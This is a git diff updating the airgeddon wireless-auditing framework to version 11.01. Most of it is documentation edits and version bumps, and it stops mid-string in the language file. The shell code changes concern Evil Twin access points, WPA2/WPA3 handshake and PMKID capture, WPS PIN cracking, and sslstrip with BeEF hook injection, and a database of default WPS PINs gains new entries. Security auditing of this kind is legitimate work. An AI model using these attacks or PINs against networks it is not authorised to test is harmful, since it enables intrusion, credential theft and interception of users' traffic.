diff --git a/.gitattributes b/.gitattributes index 67eb5deb9..5c7053d76 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,5 +1,5 @@ # Auto detect text files and perform LF normalization -* text=auto +* text=auto eol=lf # Text files and source code *.txt text diff --git a/CHANGELOG.md b/CHANGELOG.md index d0d92a611..5d3e0d0ae 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,8 +1,16 @@ +### 11.01 + - Fixed busy ports checks + - Added PIN to WPS trophy file + - Fixed Evil Twin route problems for modern mobile devices (Android, Kali Nethunter, etc.) + - Improvement in missing dependencies plugin to be able to check output when errors occur + - Adapted WPA/WPA2 attacks (handshake capture, PMKID and Evil Twin captive portal) to work with WPA2/WPA3 mixed networks + - Fix error launching sslstrip2 using old Bettercap 1.x + ### 11.0 - Improvements in plugins system - GPU support for hashcat - Keep compatibility for hashcat -m 2500 on new hashcat versions - - Improvement for busy ports checkings on Evil Twin attacks, now show conflicting process + - Improvement for busy ports checks on Evil Twin attacks, now show conflicting process - Fixed error on captive portal trophy file path when only dir (no file) specified - Added CI files to be used in Github actions for Docker automated building @@ -12,7 +20,7 @@ - airgeddon version shown in title at main menu - Fixed arabic scrambled strings and added missing arabic strings to missing dependencies plugin - Fixed debug mode malfunction - - Added busy ports checkings on Evil Twin attacks + - Added busy ports checks on Evil Twin attacks - Dockerfile rollback to Arch (ArchStrike image as base) due to Parrot repos problems ### 10.41 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 792180988..ea1d213ce 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -12,7 +12,7 @@ Please note we have a [Code of Conduct], please follow it in all your interactio ## Issue Creation Policy 1. Please, consider to contact us on [IRC] or [Discord] channel before opening an issue. More info at [Wiki Contact Section] -2. Filling the issue template with *ALL* the requested info is mandatory. Otherwise the issue can be marked as "invalid" and closed immediately. +2. Filling the issue template with *ALL* the requested info is mandatory. Otherwise, the issue can be marked as "invalid" and closed immediately. 3. Issues must be opened in English. 4. If an issue is opened and more info is needed, `airgeddon` staff will request it. If there is no answer in 7 days or the OP is not collaborating, the issue will be closed. 5. If the issue is not related to airgeddon or the root cause is out of scope, it will be closed. `airgeddon` staff is not a helpdesk support service. @@ -22,18 +22,17 @@ Please note we have a [Code of Conduct], please follow it in all your interactio ## Collaborating Translators 1. Ask ALWAYS before start a translation to add a new language (by mail at [v1s1t0r.1s.h3r3@gmail.com], by Twitter at [@OscarAkaElvis], by [IRC] or [Discord] channel). Contact to the development team in order to know what are you going to do. You'll be informed about how to proceed. -2. Once new language is approved or if you are going to update an existing one, update the date under shebang on every commit. -3. Translate the strings located in `language_strings.sh` and the existing phrases _language_strings_handling_messages function_ in `airgeddon.sh`. -4. If you want to create a pull request with a new language to be added, at least the 80% of the phrases must be translated and the rest must be done with at least _an automatic-translation_ system and marked with PoT (Pending of Translation) mark. -5. Remember that pull requests done over master branch will be rejected. Read the git workflow policy first. -6. After verification of and acceptation of the pull request, you can be added as a collaborator on the project to push directly on the repository instead of submitting pull requests. -7. Knowledge about `git` is mandatory (at least basic commands) to push directly into the project repository. +2. Translate the strings located in `language_strings.sh`, the existing strings of _language_strings_handling_messages_ function in `airgeddon.sh` and the strings of _missing_dependencies_text_ function in `missing_dependencies.sh` (this last file is in plugins dir). +3. If you want to create a pull request with a new language to be added, at least the 80% of the phrases must be translated and the rest must be done with at least _an automatic-translation_ system and marked with PoT (Pending of Translation) mark. +4. Remember that pull requests done over master branch will be rejected. Read the git workflow policy first. +5. After verification of and acceptation of the pull request, you can be added as a collaborator on the project to push directly on the repository instead of submitting pull requests. +6. Knowledge about `git` is mandatory (at least basic commands) to push directly into the project repository. ## Collaborating Developers and Plugins Development #### For direct interaction with the repository (plugins development excluded): -1. First of all ask ALWAYS before performing a development. Ask to the developement team to set what is going to be +1. First ask ALWAYS before performing a development. Ask the developement team to set what is going to be. 2. Tweak *"AIRGEDDON_DEVELOPMENT_MODE"* variable to "true" for faster development skipping intro and initial checks or change *"AIRGEDDON_DEBUG_MODE"* variable for verbosity. 3. Respect the **4 width tab indentation**, code style and the **UTF-8 encoding**. 4. Use **LF** (Unix) line break type (not CR or CRLF). @@ -56,15 +55,15 @@ Please note we have a [Code of Conduct], please follow it in all your interactio 4. If you want to add your plugin to [Wiki Plugins Hall of Fame Section], follow the instructions explained there. Don't open an issue. We also have a private Telegram group for *trusted collaborators* for more agile discussion about developments, improvements, etc. -To be added on it you must prove first you are a *trusted collaborator* with your contributions. +To be added on it, you must prove first you are a *trusted collaborator* with your contributions. Anything can be also discussed on public [IRC] or [Discord] channel. More info at [Wiki Contact Section]. ## WPS PIN Database Collaborators -1. Send MAC of the BSSID and the default PIN to [v1s1t0r.1s.h3r3@gmail.com]. If you are going to push directly into the repository, keep reading the next points. -2. Add PINs ordered by the key in the associative array located in the `known_pins.db` file. (Keys are the first 6 BSSID digits). -3. Update the `pindb_checksum.txt` file with the calculated checksum of the already modified database file using `md5sum` tool. -4. Update the date under shebang. +1. Send MAC of the BSSID and the default PIN to [v1s1t0r.1s.h3r3@gmail.com]. If you are going to push directly into the repository, keep reading the next points and remember about the git workflow policy. +2. Remember that all PINs must be 8 digits and must be working PINs (verified that they work). +3. Add PINs ordered by the key in the associative array located in the `known_pins.db` file. (Keys are the first 6 BSSID digits). +4. Update the `pindb_checksum.txt` file with the calculated checksum of the already modified database file using `md5sum` tool. *PINs should be from devices that generate generic ones.* @@ -92,12 +91,12 @@ Another way to contribute is to use your Nitro Boosts on our [Discord] server. A ## Donate -If you enjoyed the script, feel free to donate. Support the project through Paypal or sending a fraction any of these cryptocurrencies. Any amount, not matter how small (1, 2, 5 $/€) is welcome: +If you enjoyed the script, feel free to donate. Support the project through PayPal or sending a fraction any of these cryptocurrencies. Any amount, not matter how small (1, 2, 5 $/€) is welcome:
- Paypal: v1s1t0r.1s.h3r3@gmail.com
+ PayPal: v1s1t0r.1s.h3r3@gmail.com
Bitcoin: 1NSzwqtBBdo4CrvynPZmd85xfbL7hw3Ptu
Bitcoin Cash: 1GyUesBgwHKZBeFvkT5nfteecPdH6bAEaL
Dash: XgKL8GTsdKAL2fypiMRFFL8m4wWTm1Netn
@@ -111,7 +110,7 @@ If you enjoyed the script, feel free to donate. Support the project through Payp
- Paypal + PayPal Buy me a coffee
@@ -186,4 +185,4 @@ If you enjoyed the script, feel free to donate. Support the project through Payp [@OscarAkaElvis]: https://twitter.com/OscarAkaElvis [Discord]: https://discord.gg/sQ9dgt9 -[IRC]: https://webchat.freenode.net/ +[IRC]: https://web.libera.chat/ diff --git a/README.md b/README.md index 0dc894438..0bf1590ef 100644 --- a/README.md +++ b/README.md @@ -106,7 +106,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present [Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To [Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration -[Version-shield]: https://img.shields.io/badge/version-11.0-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" +[Version-shield]: https://img.shields.io/badge/version-11.01-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later" [License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+" [Docker-shield]: https://img.shields.io/docker/cloud/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!" diff --git a/airgeddon.sh b/airgeddon.sh index 182f26db6..db025f0f5 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Version......: 11.0 +#Version......: 11.01 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -130,8 +130,8 @@ declare -A possible_alias_names=( ) #General vars -airgeddon_version="11.0" -language_strings_expected_version="11.0-1" +airgeddon_version="11.01" +language_strings_expected_version="11.01-1" standardhandshake_filename="handshake-01.cap" standardpmkid_filename="pmkid_hash.txt" standardpmkidcap_filename="pmkid.cap" @@ -1329,10 +1329,16 @@ function check_tcp_udp_port() { port=$(printf "%04x" "${1}") port_type="${2}" - declare -a busy_ports=($(grep -v "local_address" --no-filename "/proc/net/${port_type}" "/proc/net/${port_type}6" | awk '{print $2}' | cut -d: -f2 | sort -u)) + declare -a busy_ports=($(grep -v "local_address" --no-filename "/proc/net/${port_type}" "/proc/net/${port_type}6" | awk '{print $2$4}' | cut -d ":" -f 2 | sort -u)) for hexport in "${busy_ports[@]}"; do - if [ "${hexport}" = "${port}" ]; then - return 1 + if [[ "${port_type}" == "tcp" || "${port_type}" == "tcp6" ]]; then + if [ "${hexport}" = "${port}0A" ]; then + return 1 + fi + else + if [ "${hexport}" = "${port}07" ]; then + return 1 + fi fi done @@ -1351,7 +1357,7 @@ function find_process_name_by_port() { local regexp_part1 local regexp_part2 - regexp_part1="${port_type}\h.*?[0-9\*]:${port}" + regexp_part1="${port_type}\h.*?[0-9A-Za-z%\*]:${port}" regexp_part2='\h.*?\busers:\(\("\K[^"]+(?=")' local regexp @@ -2604,7 +2610,7 @@ function select_secondary_et_interface() { option_counter2=0 for item2 in "${secondary_ifaces[@]}"; do option_counter2=$((option_counter2 + 1)) - if [[ "${secondary_iface}" = "${option_counter2}" ]]; then + if [ "${secondary_iface}" = "${option_counter2}" ]; then if [ "${1}" = "dos_pursuit_mode" ]; then secondary_wifi_interface=${item2} secondary_phy_interface=$(physical_interface_finder "${secondary_wifi_interface}") @@ -2675,7 +2681,7 @@ function select_interface() { option_counter2=0 for item2 in ${ifaces}; do option_counter2=$((option_counter2 + 1)) - if [[ "${iface}" = "${option_counter2}" ]]; then + if [ "${iface}" = "${option_counter2}" ]; then interface=${item2} phy_interface=$(physical_interface_finder "${interface}") check_interface_supported_bands "${phy_interface}" "main_wifi_interface" @@ -3392,8 +3398,8 @@ function validate_network_encryption_type() { debug_print case ${1} in - "WPA"|"WPA2") - if [[ "${enc}" != "WPA" ]] && [[ "${enc}" != "WPA2" ]]; then + "WPA"|"WPA2"|"WPA3") + if [[ "${enc}" != "WPA" ]] && [[ "${enc}" != "WPA2" ]] && [[ "${enc}" != "WPA3" ]]; then echo language_strings "${language}" 137 "red" language_strings "${language}" 115 "read" @@ -4128,7 +4134,7 @@ function set_wep_script() { wep_aircrack_pid_alive=$(ps uax | awk '{print $2}' | grep -E "^${wep_aircrack_pid}$" 2> /dev/null) if [[ -z "${wep_aircrack_pid_alive}" ]] && [[ ${wep_aircrack_launched} -eq 1 ]]; then break - elif [[ -z "${wep_capture_pid_alive}" ]]; then + elif [ -z "${wep_capture_pid_alive}" ]; then break fi done @@ -7339,8 +7345,19 @@ function check_bssid_in_captured_file() { done fi + if [[ "${handshake_captured}" = "1" ]] || [[ "${pmkid_captured}" = "1" ]]; then + if [[ "${2}" = "showing_msgs_capturing" ]] || [[ "${2}" = "showing_msgs_checking" ]]; then + if ! is_wpa2_handshake "${1}" "${bssid}"; then + echo + language_strings "${language}" 700 "red" + language_strings "${language}" 115 "read" + return 2 + fi + fi + fi + if [[ "${handshake_captured}" = "1" ]] && [[ "${pmkid_captured}" = "0" ]]; then - if [[ "${2}" = "showing_msgs_checking" ]]; then + if [ "${2}" = "showing_msgs_checking" ]; then language_strings "${language}" 322 "yellow" fi return 0 @@ -7771,7 +7788,7 @@ function manage_hashcat_pot() { pass_decrypted_by_hashcat=1 else if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat_hccapx_version}"; then - if [[ -f "${tmpdir}${hashcat_pot_tmp}" ]]; then + if [ -f "${tmpdir}${hashcat_pot_tmp}" ]; then pass_decrypted_by_hashcat=1 fi fi @@ -9194,7 +9211,7 @@ function set_hostapd_config() { echo -e "bssid=${et_bssid}" } >> "${tmpdir}${hostapd_file}" - if [[ "${channel}" -gt 14 ]]; then + if [ "${channel}" -gt 14 ]; then et_channel=$(shuf -i 1-11 -n 1) else et_channel="${channel}" @@ -9223,7 +9240,7 @@ function set_hostapd_wpe_config() { echo -e "bssid=${et_bssid}" } >> "${tmpdir}${hostapd_wpe_file}" - if [[ "${channel}" -gt 14 ]]; then + if [ "${channel}" -gt 14 ]; then et_channel=$(shuf -i 1-11 -n 1) else et_channel="${channel}" @@ -9443,6 +9460,7 @@ function set_std_internet_routing_rules() { fi ip addr add ${et_ip_router}/${std_c_mask} dev "${interface}" > /dev/null 2>&1 + ip route add ${et_ip_range}/${std_c_mask_cidr} dev "${interface}" table local proto static scope link > /dev/null 2>&1 routing_modified=1 clean_initialize_iptables_nftables @@ -9709,7 +9727,18 @@ function set_wps_attack_script() { pin_header3="${white_color})${normal_color}" script_attack_cmd2="${attack_cmd2}" + EOF + + cat >&7 <<-'EOF' function manage_wps_pot() { + if [ -n "${2}" ]; then + trophy_pin="${2}" + else + trophy_pin="Null" + fi + EOF + + cat >&7 <<-EOF echo "" > "${wpspotenteredpath}" { EOF @@ -9730,6 +9759,7 @@ function set_wps_attack_script() { EOF cat >&7 <<-'EOF' + echo -e "PIN: ${trophy_pin}" echo -e "${1}" echo "" EOF @@ -9761,7 +9791,6 @@ function set_wps_attack_script() { password_cracked_regexp="^\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" ;; "pixiedust") - success_attack_badpixie_regexp="^\[Pixie\-Dust\].*\[\-\][[:space:]]WPS[[:space:]]pin[[:space:]]not[[:space:]]found" success_attack_goodpixie_pin_regexp="^\[Pixie\-Dust\][[:space:]]*\[\+\][[:space:]]*WPS[[:space:]]pin:.*([0-9]{8})" success_attack_goodpixie_password_regexp=".*?\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" ;; @@ -9774,7 +9803,6 @@ function set_wps_attack_script() { success_attack_goodpin_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'([0-9]{8})',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'" ;; "pixiedust") - success_attack_badpixie_regexp="^\[Pixie\-Dust\][[:space:]]WPS[[:space:]]pin[[:space:]]not[[:space:]]found" success_attack_goodpixie_pin_regexp="^\[Pixie\-Dust\][[:space:]]PIN[[:space:]]FOUND:[[:space:]]([0-9]{8})" success_attack_goodpixie_password_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'[0-9]{8}',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'" ;; @@ -10021,7 +10049,7 @@ function set_wps_attack_script() { echo -e "${pin_cracked_msg}${cracked_pin}" if [ -n "${cracked_password}" ]; then echo -e "${password_cracked_msg}${cracked_password}" - manage_wps_pot "${cracked_password}" + manage_wps_pot "${cracked_password}" "${cracked_pin}" else echo -e "${password_not_cracked_msg}" fi @@ -10562,7 +10590,7 @@ function set_et_control_script() { EOF cat >&7 <<-'EOF' - if [[ -z "${DHCPCLIENTS[@]}" ]]; then + if [ -z "${DHCPCLIENTS[@]}" ]; then EOF cat >&7 <<-EOF @@ -10576,7 +10604,7 @@ function set_et_control_script() { if [[ " ${client_ips[*]} " != *" ${client_ip} "* ]]; then client_hostname="" [[ ${client} =~ .*(\(.+\)).* ]] && client_hostname="${BASH_REMATCH[1]}" - if [[ -z "${client_hostname}" ]]; then + if [ -z "${client_hostname}" ]; then echo -e "\t${client_ip} ${client_mac}" else echo -e "\t${client_ip} ${client_mac} ${client_hostname}" @@ -11309,7 +11337,7 @@ function launch_bettercap_sniffing() { fi if [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then - bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module --dns-port ${bettercap_dns_port}" + bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --dns-port ${bettercap_dns_port}" else bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" fi @@ -11822,30 +11850,36 @@ function capture_handshake_evil_twin() { handshake_capture_check - if check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "showing_msgs_capturing" "also_pmkid"; then - - handshakepath="${default_save_path}" - handshakefilename="handshake-${bssid}.cap" - handshakepath="${handshakepath}${handshakefilename}" + check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "showing_msgs_capturing" "also_pmkid" + case "$?" in + "0") + handshakepath="${default_save_path}" + handshakefilename="handshake-${bssid}.cap" + handshakepath="${handshakepath}${handshakefilename}" - echo - language_strings "${language}" 162 "yellow" - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "writeethandshake" - done + echo + language_strings "${language}" 162 "yellow" + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "writeethandshake" + done - cp "${tmpdir}${standardhandshake_filename}" "${et_handshake}" - echo - language_strings "${language}" 324 "blue" - language_strings "${language}" 115 "read" - return 0 - else - echo - language_strings "${language}" 146 "red" - language_strings "${language}" 115 "read" - return 2 - fi + cp "${tmpdir}${standardhandshake_filename}" "${et_handshake}" + echo + language_strings "${language}" 324 "blue" + language_strings "${language}" 115 "read" + return 0 + ;; + "1") + echo + language_strings "${language}" 146 "red" + language_strings "${language}" 115 "read" + return 2 + ;; + "2") + return 2 + ;; + esac } #Capture Handshake on Handshake/PMKID tools @@ -11999,7 +12033,7 @@ function validate_path() { enterprise_potpath="${pathname}" enterprise_basepath=$(dirname "${enterprise_potpath}") - if [[ "${enterprise_basepath}" != "." ]]; then + if [ "${enterprise_basepath}" != "." ]; then enterprise_dirname=$(basename "${enterprise_potpath}") fi @@ -12384,29 +12418,44 @@ function launch_handshake_capture() { handshake_capture_check - if check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "showing_msgs_capturing" "also_pmkid"; then + check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "showing_msgs_capturing" "also_pmkid" + case "$?" in + "0") + handshakepath="${default_save_path}" + handshakefilename="handshake-${bssid}.cap" + handshakepath="${handshakepath}${handshakefilename}" - handshakepath="${default_save_path}" - handshakefilename="handshake-${bssid}.cap" - handshakepath="${handshakepath}${handshakefilename}" + echo + language_strings "${language}" 162 "yellow" + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "handshake" + done - echo - language_strings "${language}" 162 "yellow" - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "handshake" - done + cp "${tmpdir}${standardhandshake_filename}" "${enteredpath}" + echo + language_strings "${language}" 149 "blue" + language_strings "${language}" 115 "read" + return_to_handshake_pmkid_tools_menu=1 + ;; + "1") + echo + language_strings "${language}" 146 "red" + language_strings "${language}" 115 "read" + ;; + "2") + : + ;; + esac +} - cp "${tmpdir}${standardhandshake_filename}" "${enteredpath}" - echo - language_strings "${language}" 149 "blue" - language_strings "${language}" 115 "read" - return_to_handshake_pmkid_tools_menu=1 - else - echo - language_strings "${language}" 146 "red" - language_strings "${language}" 115 "read" - fi +#Check if a Handshake is WPA2 +function is_wpa2_handshake() { + + debug_print + + bash -c "aircrack-ng -a 2 -b \"${2}\" -w \"${1}\" \"${1}\" > /dev/null 2>&1" + return $? } #Launch the Handshake capture window @@ -12533,12 +12582,31 @@ function explore_for_targets_option() { cypher_filter="${1}" case ${cypher_filter} in "WEP") + #Only WEP language_strings "${language}" 67 "yellow" ;; + "WPA1") + #Only WPA including WPA/WPA2 in Mixed mode + #Not used yet in airgeddon + : + ;; + "WPA2") + #Only WPA2 including WPA/WPA2 and WPA2/WPA3 in Mixed mode + #Not used yet in airgeddon + : + ;; + "WPA3") + #Only WPA3 including WPA2/WPA3 in Mixed mode + #Not used yet in airgeddon + : + ;; "WPA") + #All, WPA, WPA2 and WPA3 including all Mixed modes if [[ -n "${2}" ]] && [[ "${2}" = "enterprise" ]]; then language_strings "${language}" 527 "yellow" else + language_strings "${language}" 215 "blue" + echo language_strings "${language}" 361 "yellow" fi ;; @@ -12582,13 +12650,14 @@ function explore_for_targets_option() { rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 local i=0 local enterprise_network_counter + local pure_wpa3 while IFS=, read -r exp_mac _ _ exp_channel _ exp_enc _ exp_auth exp_power _ _ _ exp_idlength exp_essid _; do chars_mac=${#exp_mac} if [ "${chars_mac}" -ge 17 ]; then i=$((i + 1)) - if [[ ${exp_power} -lt 0 ]]; then - if [[ ${exp_power} -eq -1 ]]; then + if [ "${exp_power}" -lt 0 ]; then + if [ "${exp_power}" -eq -1 ]; then exp_power=0 else exp_power=$((exp_power + 100)) @@ -12610,11 +12679,41 @@ function explore_for_targets_option() { exp_enc=$(echo "${exp_enc}" | awk '{print $1}') - if [[ -n "${2}" ]] && [[ "${2}" = "enterprise" ]]; then - if [[ "${exp_auth}" =~ "MGT" ]]; then - enterprise_network_counter=$((enterprise_network_counter + 1)) - echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" - fi + if [ -n "${1}" ]; then + case ${cypher_filter} in + "WEP") + #Only WEP + echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" + ;; + "WPA1") + #Only WPA including WPA/WPA2 in Mixed mode + #Not used yet in airgeddon + echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" + ;; + "WPA2") + #Only WPA2 including WPA/WPA2 and WPA2/WPA3 in Mixed mode + #Not used yet in airgeddon + echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" + ;; + "WPA3") + #Only WPA3 including WPA2/WPA3 in Mixed mode + #Not used yet in airgeddon + echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" + ;; + "WPA") + if [[ -n "${2}" ]] && [[ "${2}" = "enterprise" ]]; then + if [[ "${exp_auth}" =~ "MGT" ]]; then + enterprise_network_counter=$((enterprise_network_counter + 1)) + echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" + fi + else + [[ ${exp_auth} =~ ^[[:blank:]](SAE)$ ]] && pure_wpa3="${BASH_REMATCH[1]}" + if [ "${pure_wpa3}" != "SAE" ]; then + echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" + fi + fi + ;; + esac else echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" fi @@ -12742,9 +12841,9 @@ function explore_for_wps_targets_option() { expwps_locked=$(echo "${expwps_line}" | awk '{print $5}') expwps_essid=$(echo "${expwps_line//[\`\']/}" | awk -F '\t| {2,}' '{print $NF}') - if [[ ${expwps_channel} -le 9 ]]; then + if [ "${expwps_channel}" -le 9 ]; then wpssp2=" " - if [[ ${expwps_channel} -eq 0 ]]; then + if [ "${expwps_channel}" -eq 0 ]; then expwps_channel="-" fi elif [[ ${expwps_channel} -ge 10 ]] && [[ ${expwps_channel} -lt 99 ]]; then @@ -12761,15 +12860,15 @@ function explore_for_wps_targets_option() { expwps_power=${expwps_power//0/} fi - if [[ ${expwps_power} -lt 0 ]]; then - if [[ ${expwps_power} -eq -1 ]]; then + if [ ${expwps_power} -lt 0 ]; then + if [ ${expwps_power} -eq -1 ]; then expwps_power=0 else expwps_power=$((expwps_power + 100)) fi fi - if [[ ${expwps_power} -le 9 ]]; then + if [ ${expwps_power} -le 9 ]; then wpssp4=" " else wpssp4="" @@ -12852,12 +12951,12 @@ function select_target() { sp1="" fi - if [[ ${exp_channel} -le 9 ]]; then + if [ "${exp_channel}" -le 9 ]; then sp2=" " - if [[ ${exp_channel} -eq 0 ]]; then + if [ "${exp_channel}" -eq 0 ]; then exp_channel="-" fi - if [[ ${exp_channel} -lt 0 ]]; then + if [ "${exp_channel}" -lt 0 ]; then sp2=" " fi elif [[ ${exp_channel} -ge 10 ]] && [[ ${exp_channel} -lt 99 ]]; then @@ -12866,11 +12965,11 @@ function select_target() { sp2="" fi - if [[ "${exp_power}" = "" ]]; then + if [ "${exp_power}" = "" ]; then exp_power=0 fi - if [[ ${exp_power} -le 9 ]]; then + if [ ${exp_power} -le 9 ]; then sp4=" " else sp4="" @@ -13173,7 +13272,7 @@ function et_prerequisites() { if [ -n "${enterprise_mode}" ]; then manage_enterprise_log - elif [[ "${et_mode}" = "et_sniffing" ]]; then + elif [ "${et_mode}" = "et_sniffing" ]; then manage_ettercap_log elif [[ "${et_mode}" = "et_sniffing_sslstrip2" ]] || [[ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]]; then manage_bettercap_log @@ -13204,7 +13303,7 @@ function et_prerequisites() { language_strings "${language}" 115 "read" fi - if [[ "${channel}" -gt 14 ]]; then + if [ "${channel}" -gt 14 ]; then echo language_strings "${language}" 392 "blue" fi diff --git a/binaries/arch/airgeddon-git-11.0-1-any.pkg.tar.zst b/binaries/arch/airgeddon-git-11.0-1-any.pkg.tar.zst deleted file mode 100644 index 4d9f92f44..000000000 Binary files a/binaries/arch/airgeddon-git-11.0-1-any.pkg.tar.zst and /dev/null differ diff --git a/binaries/arch/airgeddon-git-11.01-1-any.pkg.tar.zst b/binaries/arch/airgeddon-git-11.01-1-any.pkg.tar.zst new file mode 100644 index 000000000..949fb4c9c Binary files /dev/null and b/binaries/arch/airgeddon-git-11.01-1-any.pkg.tar.zst differ diff --git a/imgs/wiki/airgeddon_irc.png b/imgs/wiki/airgeddon_irc.png index 98af0a631..42debce94 100644 Binary files a/imgs/wiki/airgeddon_irc.png and b/imgs/wiki/airgeddon_irc.png differ diff --git a/imgs/wiki/airgeddon_scrs1.png b/imgs/wiki/airgeddon_scrs1.png index 4451f4113..899ab8ec9 100644 Binary files a/imgs/wiki/airgeddon_scrs1.png and b/imgs/wiki/airgeddon_scrs1.png differ diff --git a/imgs/wiki/airgeddon_scrs3.png b/imgs/wiki/airgeddon_scrs3.png index 298f6e9a2..d6ae616c5 100644 Binary files a/imgs/wiki/airgeddon_scrs3.png and b/imgs/wiki/airgeddon_scrs3.png differ diff --git a/known_pins.db b/known_pins.db index a50a9bf0f..b97b4ec8c 100644 --- a/known_pins.db +++ b/known_pins.db @@ -140,6 +140,7 @@ function set_pin_database() { PINDB["10BEF5"]="30543362" PINDB["10BF48"]="04032052" PINDB["10C61F"]="22643223" + PINDB["109397"]="23991231" PINDB["10FEED"]="18382501 00246330 96238936 08825270 93878845 57275062 01878738 41349489" PINDB["14144B"]="36286034" PINDB["14A9E3"]="00288729 03617984 00265744 00344463" @@ -197,8 +198,10 @@ function set_pin_database() { PINDB["305A3A"]="89039830" PINDB["30918F"]="78365230" PINDB["30B5C2"]="96398708" + PINDB["30C50F"]="66268666" PINDB["340804"]="36022656 93395274 39837875 23556676" PINDB["34080F"]="56364675" + PINDB["340A33"]="90784224" PINDB["344B50"]="13419622" PINDB["344DEA"]="87972122" PINDB["345760"]="18297492 29342273" @@ -439,7 +442,7 @@ function set_pin_database() { PINDB["D0AEEE"]="75277048" PINDB["D0D412"]="16538061 16702738 18355604 88202907 73767053 43297917 19756967 13409708 11161189 11915140 12749355 13588106 14145629 24100489 42497868 47148826 77828491" PINDB["D42122"]="00187558" - PINDB["D46E0E"]="43285632 64843018 76446825" + PINDB["D46E0E"]="43285632 64843018 76446825 98011735" PINDB["D47BB0"]="14550911 98852413 70795660 20859978 13090586 67774128 14738340 11317890 53741134 22388414 72768198 11651659 83914829 36956074 11277576 16007666 29342273 18297492" PINDB["D80D17"]="68325312 12128532" PINDB["D80F99"]="12345670" @@ -465,6 +468,7 @@ function set_pin_database() { PINDB["E43ED7"]="29187386 60551085 07281808 78232099 37706937 12345670" PINDB["E46F13"]="25753257" PINDB["E4C146"]="71537573 10009321 31348034 18794786 15738370 18546774 47415270 63742336 93782302 24248907 63668346 96453780 00000001" + PINDB["E82C6D"]="12345670" PINDB["E839DF"]="14309489" PINDB["E840F2"]="12345670 82585297 94380507" PINDB["E894F6"]="45892066 36264957 25289794 36129836 16065420 69476150 15522702" diff --git a/language_strings.sh b/language_strings.sh index b1d63b50d..b9e6da6bf 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -10,7 +10,7 @@ function set_language_strings_version() { debug_print - language_strings_version="11.0-1" + language_strings_version="11.01-1" } #Set different language text strings @@ -991,7 +991,7 @@ function initialize_language_strings() { arr["ENGLISH",2]="English O.S. language detected. Supported by script. Automatically changed" arr["SPANISH",2]="Idioma Español del S.O. detectado. Soportado por el script. Se cambió automáticamente" - arr["FRENCH",2]="S.E. en Français détecté. Langue prise en charge par le script et changé automatiquement" + arr["FRENCH",2]="S.E. en Français détecté. Langue prise en charge par le script et changée automatiquement" arr["CATALAN",2]="Idioma Català del S.O. detectat. Suportat pel script. S'ha canviat automàticament" arr["PORTUGUESE",2]="S.O. em Português detectado. Compatível com o script. Idioma automaticamente alterada" arr["RUSSIAN",2]="Определена ОС на русском. Поддерживается скриптом. Локализация автоматически изменена. Помощь на русском: https://hackware.ru/?" @@ -1056,7 +1056,7 @@ function initialize_language_strings() { arr["ENGLISH",7]="This script is only for educational purposes. Be good boyz&girlz!" arr["SPANISH",7]="Este script se ha hecho sólo con fines educativos. Sed buen@s chic@s!" - arr["FRENCH",7]="Ce script a été fait à des fins purement 